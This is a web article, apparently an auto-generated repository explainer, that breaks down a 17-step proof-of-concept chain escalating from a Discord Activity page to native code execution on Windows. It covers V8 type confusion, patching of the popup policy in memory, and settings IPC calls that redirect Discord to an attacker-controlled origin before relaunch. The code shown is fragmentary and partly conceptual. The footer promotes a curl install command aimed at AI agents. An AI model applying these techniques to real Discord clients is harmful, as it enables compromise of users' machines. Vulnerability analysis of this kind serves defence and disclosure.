Discord Activity to Native RCE Chain: 17-Step Exploit Breakdown

The Discord Activity to Native RCE attack chain exploits a V8 type-confusion primitive, popup-policy manipulation, and Electron IPC hijacking to escalate from a sandboxed Activity page to arbitrary native code execution on Windows.

This deep dive examines the complete end-to-end exploit chain documented in the bikini/exploitarium repository, specifically the Discord Activity Stock Client RCE PoC. The attack targets Discord 1.0.9245 and achieves deterministic native code execution through a carefully orchestrated sequence moving from renderer compromise to full process control.

The 17-Step Exploit Chain Explained

The chain follows a linear progression through three distinct phases: renderer compromise, policy bypass, and native escalation. Each step builds on the previous, with no retries or branching allowed—failure at any stage aborts the entire attack.

Phase 1: Initial Activity Load and Primitive Construction (Steps 1–6)

Steps 1–6 establish the foundation inside Discord's sandboxed Activity environment.

Step 1: Activity Loads via Discord Proxy

Discord's proxy forwards the mapped URL https://<APP_ID>.discordsays.com to the local server, loading the malicious Activity inside a sandboxed Chromium renderer. This occurs in exploit.html as the entry point.

Step 2: Instance Registration and Lease Acquisition

The Activity generates a random per-session instance ID and requests a one-shot lease from server.js. The server validates and returns a cryptographically random lease token:

// From server.js - lease generation
const lease = crypto.randomUUID();
activeLeases.set(lease, { instance, token: crypto.randomUUID() });
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ lease }));

Step 3: Popup-Policy Worker Deployment

The server responds with the popup-policy worker script and prefetches the second-stage document containing the native payload. This worker survives navigation and maintains execution context across page transitions.

Step 4: CSP Nonce Propagation

Discord injects a fresh Content-Security-Policy nonce for every response. The Activity copies this nonce onto every script in the prefetched document, ensuring scripts execute after the nonce rotation—a critical reliability measure.

Step 5: V8 Type-Confusion Primitive

The first renderer forces V8 into a type-confusion code path, constructing an in-cage arbitrary read/write primitive. This operates within V8's compressed-pointer cage but provides sufficient capability for subsequent stages.

Step 6: Payload-Driven Discovery and Trampoline Installation

Using the primitive, the exploit:

  • Recovers the V8 cage base address
  • Locates the generated-function dispatch entry
  • Identifies the native marker
  • Installs a compact native trampoline for future code execution

Phase 2: Popup-Policy Bypass and Auxiliary Window (Steps 7–9)

Steps 7–9 break out of the single-window restriction, enabling multi-renderer coordination essential for the final payload.

Step 7: Popup-Policy Binary Patching

The worker modifies the popup-policy instructions in-memory:

  • Flips the auxiliary-window branch condition to always true
  • Fixes sandbox-flag propagation to maintain renderer integrity
// Client-side memory manipulation in exploit.html
writeMemory(popupPolicyAddr, patchedBytes);
flushInstructionCache(popupPolicyAddr, patchedBytes.length);
restorePageProtections(popupPolicyAddr);

Step 8: Auxiliary Window Creation

With the patched policy, window.open() now succeeds. The Activity:

  • Stops its initial navigation
  • Writes the nonce-adjusted second-stage document into the initial document
  • Spawns the auxiliary renderer with full second-stage payload

Step 9: Second Renderer Rebuilds Primitive

The second renderer repeats the primitive construction from scratch. Crucially, it now discovers Discord's Electron IPC implementation in the loaded image—information unavailable to the first renderer due to initial sandbox restrictions.

Phase 3: Native Escalation and Execution (Steps 10–17)

Steps 10–17 execute the final native payload and restore system state.

Step 10: Native IPC Payload Construction

The second-stage renderer builds three Electron IPC calls using a generated Win64 payload:

IPC Call Purpose
DISCORD_SETTINGS_SET("WEBAPP_ENDPOINT", <ACTIVITY_PROXY_ORIGIN>) Redirects Discord's webapp endpoint to attacker-controlled origin
DISCORD_SETTINGS_SET("WEBAPP_PATH", "/native-proof") Sets the path for the native payload endpoint
DISCORD_APP_RELAUNCH() Triggers Discord process restart with new settings

Step 11: Async Persistence Delay

The payload inserts an explicit ~3 second delay before the relaunch IPC. This ensures asynchronous settings writes fully persist to disk before process termination.

Step 12: Relaunch to Temporary Endpoint

Discord launches a new main renderer for the temporary endpoint https://<ACTIVITY_PROXY_ORIGIN>/native-proof, requesting it from the Activity proxy server.

Step 13: Native Stage Loads

The native page executes the engine stage again, this time with different objectives:

  • Resolves CreateProcessW, Sleep, and ExitProcess from the stock Discord binary image
  • Allocates fresh executable memory for the final payload

Step 14: Calculator Process Launch

The native trampoline executes the final payload:

; Generated in-memory trampoline (conceptual)
mov rax, [CreateProcessW_address]
lea rcx, [calc_path]          ; L"C:\\Windows\\System32\\calc.exe"
xor rdx, rdx                  ; lpCommandLine = NULL
xor r8,  r8                   ; lpThreadAttributes = NULL
xor r9,  r9                   ; lpProcessAttributes = NULL
mov [rsp+20h], 0              ; dwCreationFlags = 0
call rax                      ; CreateProcessW(...)

Step 15: Sentinel-Based Completion Signaling

The compromised renderer exits with a distinct sentinel value. A fresh renderer detects this sentinel, reports successful native execution, and enters a recovery-wait state.

Step 16: Settings Restoration

run.ps1 executes the cleanup sequence:

  • Verifies the settings.json backup via SHA-256 hash
  • Restores original Discord configuration
  • Writes recovery signal for coordination

Step 17: Final Discord Relaunch

The verification page triggers the final Discord relaunch on the original endpoint, returning the client to pristine state with proof-of-completion logged.

Core Mechanisms Enabling the Chain

The exploit succeeds through three interacting primitives that bypass progressively stronger security boundaries.

V8 Renderer Memory Primitive

The type-confusion vulnerability provides arbitrary read/write within V8's compressed-pointer cage. According to the bikini/exploitarium source code, this enables:

  • Discovery of native library addresses
  • In-memory code generation and trampoline installation
  • Cross-renderer state coordination

This primitive is constructed identically in both renderers but applied differently based on available capabilities.

Activity Popup-Policy Manipulation

Discord's Activity sandbox restricts window.open() to prevent multi-window attacks. By patching the conditional branch that enforces this restriction, the attacker gains:

  • Ability to spawn auxiliary renderers
  • Clean separation between primitive construction and IPC discovery phases
  • Survival of worker context across navigation

The patch modifies executable code in the renderer process—requiring the memory primitive from Step 5 and careful instruction cache management.

Electron IPC Bridging

Discord's Electron integration exposes privileged IPC channels normally inaccessible to web content. The second-stage renderer leverages this to:

  • Mutate persistent Discord settings (settings.json)
  • Force application relaunch with attacker-controlled endpoint
  • Execute native payload in a fresh renderer with full process privileges

This represents the critical trust boundary crossing from renderer compromise to native code execution.

Key Source Files and Their Roles

File Primary Function Critical Code Elements
server.js One-shot orchestration server Lease generation, popup-policy worker serving, /native-proof endpoint
exploit.html Dual-stage renderer payload Primitive construction, policy patching, IPC payload generation
wasm-module-builder.js Native payload assembly helper WebAssembly bytecode construction for in-memory code generation
run.ps1 Environment preparation and cleanup Binary validation, settings backup/restore, execution coordination

All files operate under a strict one-shot execution model enforced by server.js—the lease system prevents replay or reuse of any stage.

Summary

  • The Discord Activity to Native RCE chain requires 17 deterministic steps moving from sandboxed web content to arbitrary Windows process execution
  • Three core primitives enable the attack: V8 memory corruption, popup-policy binary patching, and Electron IPC hijacking
  • The exploit uses dual renderers—the first escapes sandbox restrictions, the second discovers and abuses privileged IPC channels
  • run.ps1 guarantees clean execution by backing up and verifying settings.json via cryptographic hash before and after the proof
  • All coordination flows through server.js, which enforces single-use leases and serves stage-specific payloads

Frequently Asked Questions

What Discord version does this exploit target?

This proof-of-concept targets Discord 1.0.9245 specifically. The exploit depends on exact binary layouts for V8 type-confusion offsets, popup-policy branch locations, and Electron IPC method addresses. Later Discord versions may have patched the underlying V8 vulnerability or modified the vulnerable code paths.

Why does the chain need two separate renderers?

The first renderer operates under strict Content Security Policy and sandbox restrictions that prevent direct access to Electron IPC channels. By patching the popup policy and opening an auxiliary window, the second renderer loads with different initialization state that exposes the Discord-native IPC implementation. This two-stage design cleanly separates privilege escalation from capability discovery.

How does the exploit persist the malicious endpoint?

The attack uses Discord's own settings persistence mechanism through three IPC calls: DISCORD_SETTINGS_SET for the endpoint and path, followed by DISCORD_APP_RELAUNCH. The ~3 second delay ensures these asynchronous writes complete to disk before the process terminates. Discord's standard relaunch behavior then loads the attacker-controlled endpoint as if it were legitimate configuration.

What prevents this exploit from working on patched systems?

Three remediation angles exist: V8 patches that close the type-confusion primitive, popup-policy hardening that prevents runtime modification or removes the auxiliary window restriction entirely, and IPC access controls that restrict renderer access to privileged settings channels. Discord has likely addressed one or more of these vectors in subsequent releases.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →